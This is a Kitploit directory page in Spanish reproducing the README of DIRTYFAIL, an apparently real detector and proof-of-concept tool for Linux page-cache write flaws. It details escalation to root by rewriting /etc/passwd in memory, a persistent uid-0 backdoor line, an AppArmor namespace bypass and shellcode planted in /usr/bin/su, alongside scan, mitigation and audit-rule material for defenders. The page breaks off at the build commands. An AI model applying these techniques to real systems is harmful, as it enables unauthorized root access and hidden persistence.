Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
DIRTYFAIL — Detector + PoC para vulnerabilidades de escritura en el page-cache de Linux: Copy Fail (CVE-2026-31431) y Dirty Frag (CVE-2026-43284/43500). Solo para investigación de seguridad autorizada. | Kitploit
Herramientas/GitHubGitHub/karazajac/dirtyfail
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónRed TeamingEscape de ContenedoresExplotación de BinariosLabs y Práctica
GitHubkarazajac/dirtyfail
2612hace 3 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

DIRTYFAIL

Detector + PoC para vulnerabilidades de escritura en el page-cache de Linux: Copy Fail (CVE-2026-31431) y Dirty Frag (CVE-2026-43284/43500). Solo para investigación de seguridad autorizada.

Ver Repositorio

DIRTYFAIL

Un detector unificado y un banco de pruebas de PoC para las familias de vulnerabilidades de escritura en caché de páginas de Linux Copy Fail y Dirty Frag.``` ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ ██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║ ██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗ ╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝

root@kitploit:~
DIRTYFAIL es una herramienta C pequeña y bien documentada para investigadores de seguridad.
Detecta si un host Linux es vulnerable a los tres CVE de esta familia y — con
confirmación explícita y escrita — ejecuta una prueba de concepto real que deja
al llamador en un shell root en un sistema vulnerable.

| CVE / variante | Nombre | Cobertura de DIRTYFAIL |
|---|---|---|
| **CVE-2026-31431** | Copy Fail (escritura de page-cache `authencesn` de algif_aead) | Detección + PoC completa |
| **CVE-2026-43284 v4** | Dirty Frag — escritura de page-cache xfrm-ESP IPv4          | Detección + PoC completa |
| **CVE-2026-43284 v6** | Dirty Frag — escritura de page-cache xfrm-ESP IPv6 (`esp6`) | Detección + PoC completa |
| **CVE-2026-43500**    | Dirty Frag — escritura de page-cache RxRPC                  | Detección + PoC completa |
| Variante GCM de Copy Fail | escritura de page-cache xfrm-ESP `rfc4106(gcm(aes))`        | Detección + PoC completa |

**Modos adicionales:**

- **`--scan --active`** — sondas activas de STORE en archivo centinela. Por
  defecto, `--scan` informa de las precondiciones por CVE (kernel, módulos,
  estado del LSM) además de una sonda activa de la primitiva Copy Fail. Añadir
  `--active` extiende la sonda STORE de archivo centinela a las otras cuatro
  primitivas (ESP v4, ESP v6, RxRPC, GCM): cada una dispara el trigger del
  kernel contra un centinela en `/tmp` e informa VULNERABLE solo si los bytes
  de marcador aterrizan realmente. Esta es la única forma de distinguir un
  kernel con parche backportado (las precondiciones dicen vulnerable pero la
  sonda dice intacto) de uno sin parchear sin ejecutar el exploit completo.
  `/etc/passwd` nunca se toca. Auto-calibra el desplazamiento V6 STORE por
  compilación de kernel.
- **`--exploit-backdoor`** — backdoor persistente uid-0: sobrescritura de
  longitud coincidente de una línea `nologin`/`false`/`sync` de `/etc/passwd`
  con `dirtyfail::0:0:<pad>:/:/bin/bash`. Sobrevive a la salida del shell hasta
  que la página se desaloja. El estado se guarda en `/var/tmp/.dirtyfail.state`
  para `--cleanup-backdoor`. El nombre de usuario `dirtyfail` está
  deliberadamente emparejado con este proyecto para que sea identificable al
  instante en cualquier auditoría — cambia `NEW_USER` en `src/backdoor.c` si
  necesitas un identificador distinto para un compromiso red team autorizado.
- **Bypass de AppArmor** — vence la política
  `apparmor_restrict_unprivileged_userns=1` de Ubuntu mediante una re-ejecución
  `change_onexec("crun")` de un solo salto hacia un perfil no confinado que
  conserva las capacidades de userns. Cada modo de exploit lo maneja
  internamente mediante un fork: el padre permanece en el namespace init, el
  hijo hace el baile del bypass, el padre lee el page-cache global y ejecuta
  `su` para obtener root REAL del init-ns. La bandera heredada `--aa-bypass`
  sigue existiendo para depurar la mecánica del bypass de forma aislada. Ver
  [§8.5 Arquitectura](#85-architecture-outerinner-fork-based-bypass).

## Verificado en

DIRTYFAIL ha sido **validado empíricamente de extremo a extremo** en múltiples
distros y versiones de kernel. La siguiente matriz refleja los resultados de
pruebas por modo al ejecutar cada modo `--exploit-*` contra una instalación
limpia de cada distro.

| Distro | Kernel | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | Backdoor | Shellcode SU |
|---|---|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡²  | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (no probado) |
| Debian 13.4 | `6.12.86+deb13` | none | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (endurecido) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |

**Leyenda:** ✅ el exploit aterrizó y produjo root real del init-ns  · 🛡 mitigado — el exploit no puede alcanzar el bug del kernel (kernel parcheado O el LSM bloquea la ruta no privilegiada)  · ⏭ no aplicable (precondición ausente)

### Validación de sonda activa (`--scan --active`)

La bandera `--active` añade una sonda STORE de archivo centinela por CVE
durante la detección. Validamos las salidas de la sonda contra las mismas 4
distros de arriba (Debian, Fedora, AlmaLinux, Ubuntu 26.04) — la matriz
siguiente muestra el veredicto de sonda por modo y coincide uno a uno con la
verdad de campo del exploit completo:

| Distro | Sonda Copy Fail | Sonda ESP v4 | Sonda ESP v6 | Sonda RxRPC | Sonda GCM |
|---|:-:|:-:|:-:|:-:|:-:|
| Debian 13.4 | intacto 🛡 | intacto 🛡 | intacto 🛡 | intacto 🛡 | intacto 🛡 |
| Fedora 44   | marcador @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | cambio de byte ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | marcador @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | precondiciones ⏭ | centinela cambiado ✅ |
| Ubuntu 26.04 | intacto 🛡 | bloqueado por LSM 🛡 | bloqueado por LSM 🛡 | bloqueado por LSM 🛡 | bloqueado por LSM 🛡 |

El desplazamiento de aterrizaje STORE de la sonda V6 (8 en Fedora y Alma)
coincide con el `V6_STORE_SHIFT` empírico que `calibrate_v6_shift()` descubre
en tiempo de ejecución — lo que confirma que la auto-calibración reemplaza
correctamente la constante antes hardcodeada a través de las compilaciones de
kernel.

¹ GCM y Backdoor requieren que `algif_aead` sea cargable. Ubuntu 24.04 incluye
`/etc/modprobe.d/disable-algif_aead.conf` que lo bloquea (blacklisting) como
mitigación de Copy Fail. Con la lista negra eliminada (p. ej. en un kernel
anterior a la mitigación), ambos modos funcionan de extremo a extremo.

² La ruta algif_aead de Copy Fail está mitigada por la lista negra de modprobe;
la primitiva CVE subyacente en el kernel es la misma tanto si `authencesn` es
alcanzable como si no. xfrm-ESP, RxRPC y la variante GCM aterrizan en el mismo
kernel porque no pasan por algif_aead.

³ El paquete `kernel-modules-extra` de AlmaLinux 10 no se instala por defecto
en una instalación Mínima, por lo que `rxrpc.ko` falta en disco. Instalar
`kernel-modules-extra-$(uname -r)` desde EPEL o el repositorio extras de
AlmaLinux devuelve el módulo; en una instalación mínima estándar RxRPC es
inalcanzable.

⁴ **Ubuntu 26.04 LTS bloquea exhaustivamente la explotación no privilegiada.**
El kernel incluido `7.0.0-15.15` (publicado el 2026-04-22) **es anterior al
parche mainline `f4c50a4034e6` (fusionado el 2026-05-07) por ~2 semanas** — así
que el bug SIGUE presente en el kernel. La defensa de Ubuntu es **defensa en
profundidad mediante endurecimiento de AppArmor**, no un parche de kernel:

- `apparmor_restrict_unprivileged_userns=1` está habilitado por defecto.
- En `unshare(CLONE_NEWUSER)`, la aplicación de AppArmor a nivel de kernel
  auto-transiciona CUALQUIER perfil (incluidos los marcados `(unconfined)`
  como `crun`, `chrome`, `unconfined` por defecto) a un sub-perfil
  `<profile>//&unprivileged_userns (mixed)` que tiene
  `audit deny capability`. El uid 0 dentro del nuevo userns no obtiene
  capacidades.
- `change_onexec` a un perfil diferente no ayuda — incluso el perfil `crun`
  (que tiene permiso explícito `userns,` y `flags=(unconfined)`)
  auto-transiciona en unshare. Verificado mediante
  `aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'` →
  `crun//&unprivileged_userns (mixed)`.
- `newuidmap`/`newgidmap` (setuid root) escriben uid_map correctamente, pero
  `setresuid(0)` entonces tiene éxito mientras `ioctl(SIOCSIFFLAGS)` y cualquier
  otra syscall controlada por CAP_NET_ADMIN devuelve EPERM porque la denegación
  de capacidades es por namespace, no por uid.

El binario DIRTYFAIL arma correctamente su bypass y llega a la etapa 2, pero no
puede adquirir CAP_NET_ADMIN dentro del nuevo userns. La infraestructura del
exploit queda bloqueada en la capa del LSM independientemente de la técnica de
bypass. Probamos `change_onexec(crun)`, `change_onexec(chrome)`,
`aa-exec -p <profile>` y `unshare(USER|NET) + newuidmap` directo — todos
producen el mismo sub-perfil `unprivileged_userns`.

**Este es un buen trabajo de seguridad por parte de Canonical.** La clase de
bug está mitigada para usuarios no privilegiados sin requerir una recompilación
del kernel. Una actualización estable posterior probablemente traerá también el
parche del kernel en sí, completando la defensa.

⁵ **La inyección de shellcode `--exploit-su`** depende de la misma primitiva de
4 bytes de Copy Fail algif_aead (`cf_4byte_write`). En kernels donde Copy Fail
está parcheado (Debian 13.4) o bloqueado por LSM (Ubuntu 26.04 — pero la ruta
algif_aead también fue parcheada en 7.0.0-15), la plantación se ejecuta pero el
paso de verificación falla ("page cache does not match planted shellcode") y la
auto-reversión restaura `/usr/bin/su`. Probado de extremo a extremo en
AlmaLinux 10.1 (punto de entrada en el offset de archivo `0x45b0`) y Fedora 44
(offset `0x1b60`); el parser ELF maneja la base PIE de cada distro de forma
independiente. Prueba de root real en Fedora 44:
`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`.

Reproducibilidad de las pruebas:

- Reinstalamos cada distro desde una ISO limpia, configuramos autenticación
  con clave SSH + sudo NOPASSWD, clonamos y compilamos DIRTYFAIL en cada una,
  tomamos una instantánea de Parallels `clean-build`, y luego ejecutamos los 5
  modos de exploit con `--no-shell` (auto-reversión mediante fadvise +
  drop_caches).
- Las filas de resultados empíricos se derivan de analizar la salida real de
  `--exploit-*`, buscando las señales de éxito:
  `page cache now reports <user> with uid 0`,
  `root password field is now empty`, `is now uid 0` (backdoor), o cualquiera
  de los patrones de fallo (`write did not land`, `byte flip failed`,
  `setresuid: Invalid`, `add_rxrpc_key: No such device`,
  `page cache not in expected shape`).
- Para la verificación de "root real" de RxRPC y Backdoor ejecutamos
  `echo "" | su - root` / `echo "" | su - dirtyfail` y confirmamos
  `uid=0(root)` además de la lectura exitosa de `/etc/shadow`.

> **Solo pruebas autorizadas.** Usa DIRTYFAIL únicamente en sistemas que poseas
> o para los que tengas un compromiso explícito de evaluación. Los modos de
> exploit corrompen `/etc/passwd` *en el page cache del kernel* (el archivo en
> disco nunca se toca). La limpieza es `dirtyfail --cleanup` o
> `echo 3 > /proc/sys/vm/drop_caches`.

---

## Tabla de contenidos

1. [La clase de bug](#1-the-bug-class)
2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail)
3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp)
4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc)
    - [4.5 Descripción general de la arquitectura](#45-architecture-overview)
5. [Compilación](#5-build)
6. [Uso](#6-usage)
7. [Cómo detecta DIRTYFAIL cada CVE](#7-how-dirtyfail-detects-each-cve)
8. [Cómo explota DIRTYFAIL cada CVE](#8-how-dirtyfail-exploits-each-cve)
    - [8.5 Arquitectura: bypass basado en fork externo/interno](#85-architecture-outerinner-fork-based-bypass)
9. [Mitigaciones](#9-mitigations)
10. [Ética y divulgación](#10-ethics--disclosure)
11. [Créditos](#11-credits)

**Documentación complementaria:**
- [`docs/DEFENDERS.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/DEFENDERS.md) — manual para administradores de sistemas: ¿estoy vulnerable?, cómo mitigar, qué monitorizar.
- [`docs/RESEARCH.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/RESEARCH.md) — auditoría del código fuente del kernel de rutas adyacentes (AH, IPCOMP, MACsec, kTLS, etc.) para la misma clase de bug.
- [`tools/dirtyfail-check.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-check.sh) — detector bash independiente para administradores de sistemas (sin necesidad de compilación).
- [`tools/99-dirtyfail.rules`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/99-dirtyfail.rules) — reglas auditd listas para cargar para la cadena de exploit.
- [`tools/dirtyfail-container-escape.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-container-escape.sh) — demo del radio de explosión entre namespaces.
- [`tools/exploit_su_aarch64.S`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/exploit_su_aarch64.S) — código fuente de shellcode aarch64 (ARM64) para `--exploit-su`. No probado en hardware; se distribuye bloqueado tras `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. Regenera los bytes correspondientes en `src/exploit_su.c` con `aarch64-linux-gnu-as` para verificarlo.

---

## 1. La clase de bug

**Page-cache write** (escritura de page-cache): las vulnerabilidades dejan que
un usuario no privilegiado modifique la copia en memoria del kernel de un
archivo al que solo tiene acceso de lectura. El archivo en disco nunca se
escribe; la modificación persiste en RAM hasta que la página se desaloja
(`drop_caches`, presión de memoria o reinicio).

Esta clase comenzó con **Dirty Pipe** (CVE-2022-0847), que abusaba de los flags
de `pipe_buffer`. Copy Fail y Dirty Frag son descendientes que apuntan en
cambio al miembro `frag` de `struct sk_buff`. El mecanismo es siempre el mismo:

1. El espacio de usuario hace `splice()` de una página de page-cache desde un
   archivo legible (p. ej. `/etc/passwd`, `/usr/bin/su`) hacia el frag de un
   búfer del kernel.
2. Una ruta de recepción ejecuta criptografía **in-place** sobre ese búfer —
   las mismas páginas son a la vez origen y destino de la operación.
3. La rutina criptográfica realiza un STORE "scratch" fuera de la región de
   datos (una reorganización del número de secuencia, un descifrado de un solo
   bloque, etc.) que aterriza dentro de la página fijada por el usuario.
4. La copia en page-cache del archivo queda ahora modificada permanentemente
   para todos los lectores del host, hasta que la página se desaloja.

Debido a que el bug es un **defecto lógico determinista**, no una condición de
carrera, las tasas de éxito son esencialmente del 100% y el kernel no entra en
pánico al fallar.

---

## 2. CVE-2026-31431 — Copy Fail

* Divulgación: **2026-04-29**
* Sitio: <https://copy.fail/>
* PoC original (C):     [Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail)
* PoC original (Python): [rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431)
* Introducido por el commit:  `72548b093ee3` (2017)
* Corregido por el commit:       `a664bf3d` (mainline 6.12 / 6.17 / 6.18 estables)
* Afectados confirmados:    Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16

### Causa raíz

El módulo `algif_aead` del kernel expone la API criptográfica AEAD al espacio
de usuario mediante `AF_ALG`. La plantilla `authencesn(hmac(sha256), cbc(aes))`
implementa el ESN (Extended Sequence Numbers) de RFC-4303; parte de su ruta de
descifrado realiza una **escritura scratch de 4 bytes** para reorganizar el
número de secuencia:```c
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
    /* Move high-order bits of sequence number to the end. */
    scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
    if (src == dst) {
        scatterwalk_map_and_copy(tmp,     dst, 4,                  4, 1);
        scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);  // ★
        ...

La instrucción STORE en ★ es inofensiva en un paquete IPsec normal: aterriza dentro del área de etiqueta del skb, que es propiedad del kernel. La plantilla criptográfica asume que src y dst apuntan a memoria del kernel.

algif_aead viola esa suposición. Acepta splice() desde el espacio de usuario, lo que inserta páginas de la caché de página en el scatterlist de la solicitud. Debido a que el AEAD se ejecuta en el lugar (req->dst = req->src), la página de la caché de página ahora queda en el desplazamiento del scatterlist de destino al que apunta la escritura scratch.

Los 4 bytes que se escriben son los bytes 4..7 del AAD que envió el espacio de usuario — el campo "seqno_lo" de una cabecera ESP, que el atacante rellena con lo que quiera.

Primitiva neta: escritura de 4 bytes en un desplazamiento arbitrario dentro de la caché de página de cualquier archivo que el atacante pueda open(O_RDONLY).

Explotación

La armamentización más sencilla está en /etc/passwd. Una línea de usuario normal tiene este aspecto:``` kara❌1000:1000:Kara,,,:/home/kara:/bin/bash

root@kitploit:~
Flipping `1000` (el campo UID, exactamente 4 bytes ASCII para cualquier UID
1000–9999) a `0000` hace que el `getpwnam()` de glibc reporte uid=0 para
ese usuario. PAM, sin embargo, sigue autenticando contra `/etc/shadow`
en disco (que no se modifica), por lo que `su <user>` solicita la
contraseña real, la valida y luego `setuid(0)` — y termina como root
porque la copia en caché de página de `/etc/passwd` dice que somos root.

La integridad de `/etc/shadow` se preserva. El `/etc/passwd` en disco se
preserva. Solo la copia en RAM del kernel de `/etc/passwd` se corrompe,
y solo hasta `drop_caches` o un reinicio.

---

## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)

* Divulgación: **2026-04-30 → 2026-05-08**
* PoC original (C): [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* Investigador: Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* Introducido por el commit: `cac2661c53f3` (2017-01-17)
* Corregido por el commit:      `f4c50a4034e6` (net.git principal, fusionado 2026-05-07)
* Afectados confirmados:   Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
                        CentOS Stream 10, AlmaLinux 10, Fedora 44

### Causa raíz

Se supone que `esp_input()` debe llamar a `skb_cow_data()` antes del descifrado AEAD
in situ cuando un skb no es lineal (es decir, tiene frags). La ruta de código
tiene un cortocircuito:```c
if (!skb_cloned(skb)) {
    if (!skb_is_nonlinear(skb)) {
        nfrags = 1;
        goto skip_cow;
    } else if (!skb_has_frag_list(skb)) {        // ★ bug
        nfrags = skb_shinfo(skb)->nr_frags;
        nfrags++;
        goto skip_cow;
    }
}

Si el skb tiene frags pero no frag_list, esp_input omite skb_cow_data y entrega el frag suministrado por el usuario directamente a la plantilla AEAD. La misma escritura temporal authencesn(...) que impulsa Copy Fail aterriza entonces en el desplazamiento de archivo (assoclen + cryptlen) de la página empalmada.

Los 4 bytes STOREd son seq_hi del estado replay_esn de la SA — controlados por el atacante en el momento del registro de la SA mediante el atributo netlink XFRMA_REPLAY_ESN_VAL.

Coste: registrar una SA XFRM requiere CAP_NET_ADMIN, por lo que el atacante entra primero en un nuevo namespace de usuario mediante unshare(CLONE_NEWUSER). Esto está permitido por defecto en la mayoría de las distribuciones (el perfil reforzado de Ubuntu es la excepción notable).

Fundamentalmente, esta primitiva funciona incluso cuando la mitigación de Copy Fail de algif_aead está activa — la ruta xfrm no pasa por algif_aead. Un defensor que solo haya incluido algif_aead en la lista negra sigue siendo vulnerable a Dirty Frag.

Explotación

El PoC publicado por V4bel escribe un ELF estático de "root-shell" de 192 bytes sobre los primeros 192 bytes de la caché de páginas de /usr/bin/su, usando 48 STOREs secuenciales de 4 bytes. Tras la modificación, execve("/usr/bin/su") ejecuta el nuevo punto de entrada del ELF con el bit setuid-root intacto, elimina PAM por completo y ejecuta execve("/bin/sh") desde dentro del shellcode.

DIRTYFAIL adopta el enfoque más simple del cambio de UID en /etc/passwd (un solo STORE de 4 bytes — el mismo objetivo que Copy Fail) por dos razones:

  1. Es una demostración de primitiva de una sola escritura, más fácil de estudiar.
  2. Es totalmente reversible con POSIX_FADV_DONTNEED y no deja /usr/bin/su en un estado corrupto para otros usuarios del sistema.

4. CVE-2026-43500 — Dirty Frag (RxRPC)

  • Divulgación: 2026-04-29 → 2026-05-08
  • Parche: no está en ningún árbol a fecha de 2026-05-08; el parche del investigador está pendiente: lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/
  • Investigador: Hyunwoo Kim (@v4bel)
  • Introducido por commit: 2dc334f1a63a (2023-06)

Causa raíz

rxkad_verify_packet_1() realiza un descifrado in situ de un solo bloque pcbc(fcrypt) sobre los primeros 8 bytes de un paquete de datos RxRPC:```c sg_init_table(sg, ARRAY_SIZE(sg)); ret = skb_to_sgvec(skb, sg, sp->offset, 8); memset(&iv, 0, sizeof(iv)); skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // ★ src == dst ret = crypto_skcipher_decrypt(req); // ★ 8-byte STORE

root@kitploit:~
Si una página de page-cache se ha empalmado en el frag del skb, el descifrado de 8 bytes se realiza sobre ella.

**Diferencia con xfrm-ESP**: los 8 bytes que se ALMACENAN son
`fcrypt_decrypt(C, K)`, donde `C` es el texto cifrado existente en ese
offset de archivo y `K` es la clave de sesión de un token RxRPC v1 que
el atacante registró mediante `add_key("rxrpc", ...)`. El atacante no
controla el valor ALMACENADO directamente — tiene que forzar por fuerza bruta `K` hasta que
`fcrypt_decrypt(C, K)` produzca el texto plano deseado.

`fcrypt` es un cifrado de Andrew File System con una **clave de 56 bits** y
bloque de 8 bytes. Es determinista; se porta limpiamente al espacio de usuario; y
su espacio de claves es lo suficientemente pequeño como para que un objetivo restringido de 8 bytes pueda
ser forzado por fuerza bruta en milisegundos o segundos dependiendo del presupuesto de restricciones.

**Fundamentalmente, esta vía NO necesita privilegios de namespace** —
`add_key`, `socket(AF_RXRPC)`, `socket(AF_ALG)`, `splice` están todos
disponibles para cualquier usuario sin privilegios. RxRPC cubre el vacío en el perfil
hardened-userns de Ubuntu (donde xfrm-ESP está bloqueado) porque
`rxrpc.ko` se incluye en la compilación predeterminada de Ubuntu.

### Explotación

El exploit completo:

1. Fuerza bruta sobre `K_A`, `K_B`, `K_C` en espacio de usuario para que los tres
   STOREs en los offsets 4, 6, 8 de `/etc/passwd` produzcan
   `"::"`, `"0:"`, `"0:GGGGGG:"` respectivamente (el último que escribe gana).
2. Para cada `K_i`, registra un token RxRPC v1 con `add_key`, realiza
   un handshake AF_RXRPC falsificado contra un servidor UDP falso en el mismo
   proceso, y dispara `rxkad_verify_packet_1` mediante splice.
3. La copia en page-cache de la línea 1 de `/etc/passwd` ahora es
   `root::0:0:GGGGGG:/root:/bin/bash` — un campo de contraseña vacío.
4. PAM con `pam_unix.so nullok` acepta la contraseña vacía; `su -`
   entrega una shell root.

### Cobertura de DIRTYFAIL

DIRTYFAIL incluye **tanto** detección como un PoC completo para este CVE.

La implementación de DIRTYFAIL vive en `src/dirtyfrag_rxrpc.c` y
`src/fcrypt.c`:

- **Cifrado fcrypt** (`fcrypt.c`): clave de 56 bits, bloque de 8 bytes, Feistel de 16 rondas;
  S-boxes estándar del protocolo rxkad. Incluye un harness de fuerza bruta de un solo núcleo
  (~18 Mops/s) que busca en el espacio de claves hasta que
  un texto plano candidato satisface un predicado proporcionado por quien llama.
- **Checksum rxkad** (`compute_csum_iv`, `compute_cksum`): fórmula del kernel
  reproducida mediante AF_ALG `pcbc(fcrypt)` para que el cksum del cable
  en nuestro paquete DATA falsificado pase la compuerta de `rxkad_verify_packet`.
- **Construcción del token RxRPC v1** (`build_rxrpc_v1_token`): token rxkad codificado
  en XDR registrado mediante `add_key("rxrpc", ...)` con nuestra
  clave de sesión forzada por fuerza bruta.
- **Cliente AF_RXRPC + servidor UDP falso**: el cliente inicia una llamada,
  el servidor falso extrae (epoch, cid, callNumber) del primer
  paquete y emite un CHALLENGE falsificado para que el cliente prepare
  `conn->rxkad.cipher` con nuestra clave.
- **Disparador splice** (`do_one_trigger`): vmsplice del header de cable DATA falsificado → splice de 8 bytes desde `/etc/passwd` → tubería de splice → udp_srv
  → recvmsg lleva al kernel a través de `rxkad_verify_packet_1` → STORE de 8 bytes.
- **Cadena de 3 splices con corrección de texto cifrado encadenado**: fuerza bruta
  sobre K_A / K_B / K_C, aplicando el desplazamiento de texto cifrado encadenado entre
  pasadas (después de que splice A sobrescriba los bytes 4..11, el texto cifrado de splice B
  en 6..13 comienza con `P_A[2..7]`; lo mismo para C contra B).

El PoC final reformatea la línea 1 de `/etc/passwd` a:```
root::0:0:GGGGG:/root:/bin/bash

— campo de contraseña vacío — y execlp("su", "-") luego suelta una shell root porque pam_unix.so nullok acepta una contraseña vacía.

Para comparar y verificar contra el PoC original, consulte el exp.c de V4bel: https://github.com/V4bel/dirtyfrag.


4.5 Descripción general de la arquitectura

DIRTYFAIL es un único binario C construido a partir de ~10 módulos fuente. La estructura de alto nivel:``` ┌─────────────────────────────────────────┐ │ dirtyfail (CLI) │ │ src/dirtyfail.c — argv → mode dispatch │ └────────────────┬────────────────────────┘ │ ┌──────────────────┬───────┼───────┬─────────────────┬───────────┐ │ │ │ │ │ │ ▼ ▼ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌─────────────────┐ ┌──────────────┐ ┌──────────┐ ┌────────────┐ │ --scan │ │ --exploit-* │ │ --backdoor │ │--mitigate│ │ --cleanup* │ │ (detect.c) │ │ (5 modes) │ │ install + │ │ defense │ │ revert │ │ │ │ │ │ cleanup │ │ │ │ │ └──────┬───────┘ └────────┬────────┘ └──────┬───────┘ └────┬─────┘ └────────────┘ │ │ │ │ │ ┌────────────────┼──────────────────┼────────────────┘ │ │ │ │ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ apparmor_ │ │ outer (init ns) │ │ cfg_1byte_write │ │ bypass.c │ │ → fork → child │ │ (gcm primitive) │ │ │ │ outer/inner │ │ │ │ * sysctl │ │ split │ │ used by gcm + │ │ * caps_blocked │ │ │ backdoor for │ │ * fork_arm │ │ parent stays │ │ arbitrary-byte │ └──────┬───────┘ │ in init ns, │ │ writes │ │ │ child re-execs │ └────────┬─────────┘ │ │ via change_ │ │ ▼ │ onexec(crun) + │ ▼ ┌──────────────┐ │ AA stage 1/2 │ ┌──────────────────┐ │ stage 1/2 │ │ unshare + caps │ │ AF_ALG ecb(aes) │ │ handler │ │ → run inner │ │ keystream brute │ └──────────────┘ └──────────────────┘ │ force │ └──────────────────┘

Per-CVE primitives (each has detect/exploit/exploit_inner functions):

┌──────────────────────────────────────────────────────────────────────┐ │ copyfail.c algif_aead authencesn 4-byte STORE (CVE-2026-31431) │ │ copyfail_gcm.c rfc4106(gcm(aes)) 1-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp.c xfrm-ESP IPv4 4-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp6.c xfrm-ESP IPv6 4-byte STORE w/ +9 (CVE-2026-43284) │ │ dirtyfrag_rxrpc.c rxkad 8-byte STORE + fcrypt brute (CVE-2026-43500) │ │ fcrypt.c rxkad cipher (56-bit Feistel) │ │ backdoor.c persistent /etc/passwd line overwrite │ └──────────────────────────────────────────────────────────────────────┘

root@kitploit:~
**Decisiones clave de diseño:**

- **División externo/interno**: cada exploit bifurca un hijo para el trabajo
  del kernel. El padre permanece en el namespace init para que el `execlp("su",
  user)` final alcance la raíz REAL del init-ns. Ver [§8.5
  Arquitectura](#85-architecture-outerinner-fork-based-bypass).
- **La caché de páginas es global**: el hijo escribe desde dentro de su userns de bypass,
  el padre lee desde el init ns; los mismos bytes son visibles.
- **Las variables de entorno transportan el estado padre → hijo**: `DIRTYFAIL_INNER_MODE`,
  `DIRTYFAIL_TARGET_USER`, `DIRTYFAIL_K_{A,B,C}` (rxrpc),
  `DIRTYFAIL_LINE_OFF`, etc. (backdoor). `execv` conserva el
  entorno entre transiciones de etapa.
- **Compañero defensivo**: `--mitigate` despliega las mismas listas negras +
  endurecimiento de sysctl que las distribuciones incluyen como mitigaciones oficiales.
  `--scan` detecta cuando las capabilities están bloqueadas por LSM e informa
  "mitigated" en lugar del engañoso "VULNERABLE preconditions met".

---

## 5. Compilación

### Requisitos previos

* **Linux** (este binario es solo para Linux en tiempo de ejecución).
* `gcc` o `clang`, `make`.
* Cabeceras UAPI de Linux — específicamente `<linux/xfrm.h>`, `<linux/netlink.h>`,
  `<linux/rtnetlink.h>`, `<linux/if.h>`.

| Distribución      | Instalación                                         |
|-------------------|-----------------------------------------------------|
| Debian / Ubuntu   | `sudo apt install build-essential linux-libc-dev`   |
| RHEL / CentOS     | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora            | `sudo dnf install gcc make kernel-headers`          |
| Arch              | `sudo pacman -S base-devel`                         |

### Comandos de compilación```sh
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
